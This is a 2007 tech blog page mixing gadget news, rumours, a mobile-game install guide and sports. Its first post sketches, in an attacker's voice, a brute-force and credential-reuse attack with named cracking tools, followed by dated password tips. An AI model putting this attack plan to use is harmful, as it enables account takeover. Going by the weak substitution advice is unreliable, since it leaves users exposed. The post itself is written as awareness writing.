One of the simplest ways to gain access to your information is through the use of a Brute Force Attack. This is accomplished when a hacker uses a specially written piece of software to attempt to log into a site using your credentials. has a list of the Top 10 FREE Password Crackers right here.

So, how would one use this process to actually breach your personal security? Simple. Follow my logic:

* You probably use the same password for lots of stuff right?
* Some sites you access such as your Bank or work VPN probably have pretty decent security, so I’m not going to attack them.
* However, other sites like the Hallmark e-mail greeting cards site, an online forum you frequent, or an e-commerce site you’ve shopped at might not be as well prepared. So those are the ones I’d work on.
* So, all we have to do now is unleash Brutus, wwwhack, or THC Hydra on their server with instructions to try say 10,000 (or 100,000 - whatever makes you happy) different usernames and passwords as fast as possible.
* Once we’ve got several login+password pairings we can then go back and test them on targeted sites.
* But wait… How do I know which bank you use and what your login ID is for the sites you frequent? All those cookies are simply stored, unencrypted and nicely named, in your Web browser’s cache. (Read this post to remedy that problem.)

And how fast could this be done? Well, that depends on three main things, the length and complexity of your password, the speed of the hacker’s computer, and the speed of the hacker’s Internet connection.

Assuming the hacker has a reasonably fast connection and PC here is an estimate of the amount of time it would take to generate every possible combination of passwords for a given number of characters. After generating the list it’s just a matter of time before the computer runs through all the possibilities - or gets shut down trying.

Now, I could go on for hours and hours more about all sorts of ways to compromise your security and generally make your life miserable - but 95% of those methods begin with compromising your weak password. So, why not just protect yourself from the start and sleep better at night?

Believe me, I understand the need to choose passwords that are memorable. But if you’re going to do that how about using something that no one is ever going to guess AND doesn’t contain any common word or phrase in it.

Here are some password tips:

1. Randomly substitute numbers for letters that look similar. The letter ‘o’ becomes the number ‘0′, or even better an ‘@’ or ‘*’. (i.e. - m0d3ltf0rd… like modelTford)
2. Randomly throw in capital letters (i.e. - Mod3lTF0rd)
3. Think of something you were attached to when you were younger, but DON’T CHOOSE A PERSON’S NAME! Every name plus every word in the dictionary will fail under a simple brute force attack.
4. Maybe a place you loved, or a specific car, an attraction from a vacation, or a favorite restaurant?
5. You really need to have different username / password combinations for everything. Remember, the technique is to break into anything you access just to figure out your standard password, then compromise everything else. This doesn’t work if you don’t use the same password everywhere.
6. Since it can be difficult to remember a ton of passwords, I recommend using Roboform. It will store all of your passwords in an encrypted format and allow you to use just one master password to access all of them. It will also automatically fill in forms on Web pages, and you can even get versions that allow you to take your password list with you on your PDA, phone or a USB key. If you’d like to download it without having to navigate their web site here is the direct download link.
7. Once you’ve thought of a password, try Microsoft’s password strength tester to find out how secure it is.

Friday, September 7, 2007

Thursday, September 6, 2007

BETA Release-What is it?

Well, what's a Beta all about? How is it different from the final product?

In a software release the following pattern is followed

  • Alpha Release
  • Beta Release
  • Release Candidate
  • Release [To the Market]
  • Quick Fix
  • Service Pack

The first one Alpha is an internal testing release in the company.

The second Beta release is done when bugs which are reported are fixed. Then its release outside the company to few organizations or in the internet world to the open for testing. Bugs that are reported are fixed as and when. The release candidate is the next in the pattern with most of the bugs fixed. Finally the product or service is launched in public.

If any bugs found after that, the company releases quick fixes or patches to it. If the number of quick fixes reach a great number, a service pack is released which contain all the fixes since the release.

Some development teams use the term beta informally to denote build of the software that is stable enough to be useful for internal demonstrations and previews to select customers, but not yet ready for release. Some developers refer to this stage as a preview, as a technical preview (TP) or as an early access. Often this stage begins when the developers announce a feature freeze on the product, indicating that no more features will be added to this version of the product and only software issues, or bugs, will be removed. Beta versions stand at an intermediate step in the full development cycle. Developers release them to a group of beta testers (sometimes the general public) for a user test. The testers report any bugs that they found and sometimes minor features they would like to see in the final version.

A good example would be to look at how the Beta's differ among the web companies like Google / Yahoo / Blurtit, you can read more on it here.

¡¡pǝddı1ɟ sı ǝ1ɔıʇɹɐ sıɥʇ

Turn Your Monitor Upside Down to read this text!!
.ooʇ suoıʇɐɔıunɯɯoɔ ɯı / 1ıɐɯǝ uı s1ɐd ɹnoʎ buı1ooɟ unɟ ǝʌɐɥ .1ɹn sıɥʇ ʇısıʌ ʇxǝʇ dı1ɟ ɹnoʎ ǝʇɐǝɹɔ oʇ

.sǝʇısqǝʍ ǝɥʇ 11ɐ ʇsoɯ1ɐ - ǝɔɐɟɹǝʇuı pǝʇɹoddns ǝpoɔıun ʎuɐ ʇɐ dn ʇxǝʇ sıɥʇ ʇnd uɐɔ noʎ ǝɔuıs 1ooɔ ʎ11ɐǝɹ sı sıɥʇ .pǝʎɐ1dsıp sı ʇɐɥʇ ʇxǝʇ ǝɥʇ dı1ɟ oʇ ʇı pǝʞɔɐɥ puɐ ǝpoɔıun ɥʇıʍ 1ooɟ ǝɥʇ pǝʎɐ1d ǝʌɐɥ sʞ1oɟ ǝɯos .ʇnoqɐ 11ɐ sı sıɥʇ ʇɐɥʍ buıɹǝpuoʍ ǝq ʎɐɯ noʎ '11ǝʍ

The Un - Flipped version:

Well, you may be wondering what this is all about. Some folks have played the fool with unicode and hacked it to flip the text that is displayed. This is really cool since you can put this text up at any unicode supported interface - almost all the websites.

To create your flip text visit this url. Have fun fooling your pals in email / IM communications too.

Wednesday, September 5, 2007

Technology: Two-sided touch screen uses all ten fingers

A pseudo-transparent screen from Microsoft and Mitsubishi lets people enter data from both sides

Two-sided touch screenResearchers at Microsoft and Mitsubishi are developing a new touch-screen system that lets people type text, click hyperlinks, and navigate maps from both the front and back of a portable device.

A semitransparent image of the fingers touching the back of the device is superimposed on the front so that users can see what they're touching.

Multitouch screens, popularized by gadgets such as PDAs and Apple's iPhone, are proving to be more versatile input devices than keypads.

But the more people touch their screens, says Patrick Baudisch, a Microsoft researcher involved in the touch-screen project, the more content they cover up. "Touch has certain promise but certain problems," he says. "The smaller the touch screen gets, the bigger your fingers are in proportion ... Multitouch multiplies the promise and multiplies the problems. You can have a whole hand over your PDA screen, and that's a no go."

The current prototype, which illustrates a concept that the researchers call LucidTouch, is "hacked together" from existing products, says Daniel Wigdor, a researcher at Mitsubishi Electric Research Lab and a PhD candidate at the University of Toronto. The team started with a seven-inch, commercial, single-input touch screen. To the back of the screen, they glued a touch pad capable of detecting multiple inputs. "This allowed us to have a screen on the front and a gesture pad [on the back] that could have multiple points," says Wigdor. "But what that didn't give us was the ability to see the hands." So, he says, the researchers added a boom with a Web camera to the back of the gadget.

Two-sided touch screenThe image from the Web camera and the touch information from the gesture pad are processed by software running on a desktop computer, to which the prototype is connected. The software subtracts the background from the image of the hands, Wigdor explains, and flips it around so that the superimposed image is in the same position as the user's hands. Additionally, pointers are added to the fingers so that a user can precisely select targets on the touch pad that might be smaller than her finger. In October, a paper describing the research will be presented at the User Interface Software and Technology symposium in Rhode Island.

Admittedly, this prototype has several limitations. Most glaringly, it's impractical to attach a boom and camera to the back of a handheld device. In their paper, the researchers suggest a number of different approaches for more-compact LucidTouch prototypes. The gesture pad on the back could actually provide an image of the user's fingers as well as touch information, explains Wigdor. The pad uses an array of capacitors, devices that store electrical charge. Fingers create a tiny electrical field that changes the capacitance of the array, depending on their distance from it. This distance can be tuned, says Wigdor, so that the pad can register the entire finger, and not just the fingertip touching it. Another approach, he says, would be to use an array of tiny, single-pixel light sensors that could map fingers' locations. Or the device could use an array of flashing, infrared-light-emitting diodes; sensors would then detect the light's reflection off of a hand, Wigdor explains.

Suspected mobile phone virus author arrested

Suspected mobile phone virus author arrested
The worms were designed to infect mobile phones running the Symbian operating system.

Experts at Sophos, a world leader in IT security and control, have welcomed news that Spanish authorities have arrested a man suspected of writing and distributing a mobile phone virus.

According to a statement issued by Spanish police, a 28-year-old man was arrested in Valencia following a seven month investigation. The man, who has not been named, is accused of creating and spreading over 20 different variants of the Cabir and Commwarrior worms, which attempt to infect mobile phones running the Symbian operating system.

Embedded inside the worms alleged to have been written by the man are references to "Leslie", which is said to be the name of the suspect's fiancee. Spanish police claim that as many as 115,000 mobile phones may have been struck by the malware.

"Cellphone viruses are not as common as the malware which strikes Windows desktops on a regular basis, but it is just as illegal in its intent.

Viruses are not harmless pranks; they cause real harm disrupting business and personal communications as well as destroying and stealing sensitive data," said Graham Cluley, senior technology consultant for Sophos.
Screengrab of Fontal mobile virus, F-Secure
In my personal opinion Symbian users have to do a lot wrong to be hit by a virus and speaking of 3rd edition it’s the mission impossible at the moment!!!

"The computer crime authorities around the globe are becoming more experienced at tracking down hackers and virus writers, and malware authors should be asking themselves whether it's really worth taking the risk."

In a Sophos survey conducted earlier this year, 81 percent of business IT administrators expressed concern that malware and spyware targeting mobile devices will become a significant threat in the future.

However, 64 percent also said they currently have no solution in place to secure company smartphones and PDAs.

Monday, September 3, 2007

3D Sound! You gotta see this(or hear it,I mean)

Hell.You gotta hear this sound file.I got this accidentally while searching for mp3s.All you need is a pair of good earphones or headphones.I'll be having this file in my Transcend player,if you need a demo.Any of the empty classrooms in our department will do for the testing area :)

Seems this has been recorded using a technology called Binaural Sound Technique.
Quote Wikipedia:

Binaural recording is a method of recording audio which uses a special microphone arrangement. Dummy head recording refers to a specific method of capturing the audio, generally using a bust.

The term "binaural" has often been confused as a synonym for the word "stereo", and this is partially due to a large amount of misuse in the mid-1950s by the recording industry, as a marketing buzzword. Conventional stereo recordings do not factor in natural crossfeed or sonic shaping of the head and ear, since these things happen naturally as a person listens, generating their own ITDs (interaural time differences) and ILDs (interaural level differences).Unquote.


I don't recommend this for the weak of the heart.(You'd be amazed by "right next to you" and the phone ringing effect.The former made me jump and the latter reach out for the phone).

More on Binaural Sound Blah-blah-blah:

Sound may not travel as fast as light..but its definitely fascinating as light!

My Broadband plan changed :)

I just made an upgrade(if you can call it that) to my current broadband scheme.I was using Airtel Broadband 128kbps unlimited download for the past 1 year.I'd get a maximum download speed of 16 kbps.Those with the higher end 2 Mbps connection may scoff at this figure,but I was contented with it until now.I have started downloading quite a lot recently;my monthly stats read at least 10GB of downloads.So I thought I would go for this upgrade-256 kbps Unlimited with a monthly charge of Rs.999-/-Now I get a download speed of nearly 33 kbps with RS.The trade off came,obviously,in the form of money.I now have to hand out an extra 300 of the green stuff :/ Well you can't get stuff without cash,I guess..

And for those who use USB connectivity for the modem:my suggestion is change it to Ethernet.I don't say this because you get faster speeds;I DON'T KNOW for sure that using a Ethernet cable will improve your speeds by any sizable difference.I had trouble with connectivity problems while using USB-as I said,I'd started downloading a lot.This means I'd to leave my system switched on for several hours(and this extended to 3 days when I was downloading a 6 GB game :O ) .I'd leave my Torrent client happily downloading(leeching would be a more appropriate word,I guess) and leave for college.Coming back,I'd find the download frozen and the connectivity would be in a pretty much similar state.Finally,I called up the service centre and got it changed.Now I haven't turned off my system for the past 5 days-there hasn't been a single issue with connectivity :)

Ever wondered how the 1st microsoft site looked like?

Lol..hard to believe na?But there's truth in whats been said of the old: "To get to the top you have to start at the bottom"(and to be at the top you have to make sure everyone else in the field stays below you :p).

First Shot of New Zune Line-Up

Looks like the boys in Redmond are still pushing forward with their less than stellar media player by cooking up a new design and bumping the capacity to 80GB. The long rumored flash Zune also makes an appearance touting 4 and 8GB capacities. Aside from that awkward looking squarish button in the middle these don’t look half bad.

Not sure what’s going on with that interesting controller, but it looks like a real button, but is just wide enough that it may have touch-sensitive properties. These photos came from a source who cites marketing materials, likely from the retail channel, but were confirmed by a second source as well. Does that mean they’re final? I don’t know. If I were Microsoft, I might seed the internet with mockups as to confuse. Oh, how I love counterintelligence measures. So take them with a grain of salt, confirmed as something, but still unofficial.

Forget iPhone, the Gphone(GooglePhone) is here!

Google, the nearly $13.5 billion search engine major, is believed to be a fortnight away from the worldwide launch of its much-awaited Google Phone (Gphone) and has started talks with service providers in India for an exclusive launch on one of their networks.

Talks are believed to be taking place with Bharti Airtel and Vodafone Essar, respectively India's first and third largest mobile telephony operators, and state-owned Bharat Sanchar Nigam.

Sources close to the development said a simultaneous launch across the US and Europe is expected, and announcements would be sent to media firms in India and other parts of the world. US regulatory approval, which is expected soon, is the only hurdle that Google is waiting to cross, they added. Google plans to invest $7-8 billion for its global telephony foray.

In India, it is also believed to be in talks with Indian providers to offer data and content and platforms including Instant Messaging (IM) and Search functions. However, these could not be confirmed.

A Google spokesperson said, "We don't comment on market rumour or speculation. However, Google is committed to providing users with access to the world's information, and mobile becomes more important to those efforts every day. We're collaborating with partners worldwide to bring Google search and applications to mobile users everywhere. However, we have nothing to announce at this time."

Reports of the Internet major getting into handset manufacturing as an answer to Apple's iPhone has been doing rounds in cyberspace and international media for some time. These reports suggest that Google has developed a prototype that will hit the markets in a year's time. The US-based company has neither confirmed nor denied these reports. The Wall Street Journal too had reported that Google had invested "hundreds of millions of dollars" in the project and was involved in discussions with US-based T-Mobile and Verizon Wireless.

Globally, Google is likely to participate in the upcoming auction for 700 MHz spectrum for which it is prepared to spend up to $4.6 billion. The firm is also introducing ads to YouTube videos which could be replicated on mobile phones. Ironically, Google recently partnered Apple to produce services such as e-mail and maps for its iPhone handset. And Eric Schmidt, Google's chief executive, said recently that more Google services for the iPhone would be rolled out.

Quake for S60 3rd edition FP1

The Quake S60 is the S60 port of the famous first-person shooter computer game that was released by id Software on June 22, 1996 and it was the first game in the popular Quake series of computer and video games.

Quake popularized several major advances in the 3D game genre: it uses 3-dimensional models for players and monsters instead of 2-dimensional sprites; and the world in which play takes place is created as a true 3-dimensional space, rather than a 2-dimensional map with height information which is then rendered to 3D.

Some previous 3D games, such as Duke Nukem 3D, Doom and Wolfenstein 3D (sometimes called 2.5D games) used a restricted-view mathematical trick when rendering their 3-dimensional view. This allowed a true 3D view, but only when looking straight-ahead (you can tell the difference by tilting up and down in Duke Nukem 3D, which is achieved by distorting the straight-ahead view rather than really rotating the view.)

The most interesting about this soft is fact that soft is optimized for the newer S60 phones with feature pack 1 and arm v6 processors. Las but not the less important, there is a version optimized for OMAP 2420 powered pones (FP1 is also necessary) which have a FPU (floating point unit), the Nokia N95 actually.
.:Related stories:.
+ S.T.A.L.K.E.R Coming To Mobile Phones Soon!
+ Freeware: Global Race: Raging Thunder
+ Quake III with PowerVR!!!!!!!!
+ C2Doom emulator
+ Duke Nukem 3D beta running on Nokia N73
+ Freeware: The Journey II - Go out for a walk!
+ Blaze's Lock 'n Load 2
+ PowerVR Bring Console Quality Gaming To Mobiles
+ PowerVR & ARM Bring Console Quality Gaming To Mobiles
+ ATI and Nokia announce strategic relationship to enable new mobile mul..
+ ARM Reveals 1GHz Mobile Phone Processors

So, to sum up, its great to see another game optimized to get the most from the great OMAP chipset and its 3D hardware accelerated graphic, I hope this is just a begining and that just released new N-gage platform will brings more games optimized for this great hardware.

Symbian P.I.P.S. C-Runtime library.
Required by both of the game versions

The installation packages on the download page require that you have also a datafile for the game on your memorycard. Both shareware and full version work.

1. Find a suitable datafile (either shareware, or the full version form original PC version)
2. Create "quake1" folder to the root of your memorycard
3. If you have the full version, just copy the "ID1" directory to "quake1" directory.
4. If you have only a shareware .pak file, create "ID1" folder to "quake1" directory and the copy the shareware pak-file there
5. If you want to have cdaudio aswell, create "cdaudio" folder to the "quake1" folder. Then put the audio files as .mp3 to the "cdaudio" folder, remember to rename the files from 1.mp3 throught 10.mp3. I don't know what bitrate is the best, but I have used 256kbps and it has impact of 0.1 fps to the performance. If you do not have the required audio files, the background music is just not played.
6. install the Symbian P.I.P.S. c-runtime library, and the install the suitable version of quake.
7. If everyting is in place, you are ready to rock now.

Currently the keys are mapped as follows when ingame, in console you should be able to type by multitapping:

* LSK = return / jump
* RSK = esc
* Joystick = forward, back, left, right, fire
* * = look around (with joystick)
* # = sidestep
* c = change weapon
* green answer key = center view
* volume up/down = look around/sidestep
* everything else basicly shoots in the game.

Or the you could just use a bluetooth keyboard.....

Google Earth Flight Simulator!

Latest Version of Google Earth includes a hidden flight simulator!

To check it yourself, simply download and load up the most recent version of Google Earth and press CTRL+ALT+A. Upon doing so the flight simulator should load right away with a dialog that grants you the options of plane and airport

You have the option of piloting two planes: the F16 or the SR22. Both are very different and enjoyable rides. Check it out for yourself, but be sure to familiarize yourself with the flight controls!

Also,If anyone was not aware of "flash based" flight simulator but using original Google map's images

check out :


Sunday, September 2, 2007

Can’t prove ID? DNA bank soon

Lucknow will soon be home to the country’s first DNA bank. "This is a DNA bank, and not a DNA lab, and the two must not be confused," said Saeed Ahmad, the director of IQRA Biotech Services (IBS), which is setting up the bank.

The facility at the DNA bank will not be research-oriented, like other DNA banks the world over, and is open to the public. The bank, which will become functional within a fortnight, will allow anyone to get his or her DNA stored for 50 years by paying a nominal Rs 1,500 and giving four drops of blood.

The company will also store basic information about the person, like his photograph, name, qualification and contact details. More importantly, it will store fingerprints and retina scans along with signatures and handwriting samples.

The emphasis is on giving a person a concrete identity. Other information, like his date and place of marriage, foot size, sitting height and the number of wives the person’s father has, will be stored in the individual’s data bank. The individual profile will also include a list of diseases the person suffers from and any history of drug allergy.

According to the director, the idea is to provide a person with a concrete identity. "All government documents, like a voter’s photo identity card, are easily reproducible, as media reports have often proved, and there are enough instances of even passports being forged." he added.

Breaking the boundaries!

A.R.Rahman has always said that he wants to break all barriers like religion, language, nationality etc., with his music. And, here is an instance - people in Uzbekistan may be dancing to "Kaadhal Sadugudu/Aye Udi Udi (Alaipayuthey/Saathiya). yes...Iroda Dilroz, a famous pop-singer from Uzbekistan has used this tune for her song, Sevgi Sedosi. Of course, with due credits to A.R.Rahman!

Watch the song here:

Top 10 Tennis Moments of Roger Federer

This is breathtaking to watch...!

England lead One-day series by 3-1

Sunday will be an important day for India in this one day series versus England. There are 3 matches remaining and India must win all to take home the series. This now seems highly unlikely after the news that Zaheer may not be able to play in the next match. The 5 one dayer will be played on Sunday at Headingly and is a must win for the Indians.

It will be interesting to see the Indian line-up if Zaheer is not passed fit. Agarkar managed to take 4 wickets in the previous match but was definitely expensive in giving away runs and bowling quite a few bad balls every over.


FOXCONN will soon be releasing a new motherboard (MARS ) oriented to overclocker ,
Its based on the intels P35 chipset with the functionally developed BIOS, which even obtained the proper name : Gladiator BIOS. According to foxconn, MARS motherboard will propose to experimental overclockers all necessary BIOS setting .

foxconn company officially announced MARS motherboard : the first in series quantum force:

This motherboard has extreme overclocking capabilities

without liquid nitrogen it already reach the system bus frequency 575 MHz with early BIOS versions

This motherboard has thermal tubes as cooling solutions and qualitative element guarantees operational stability and longevity.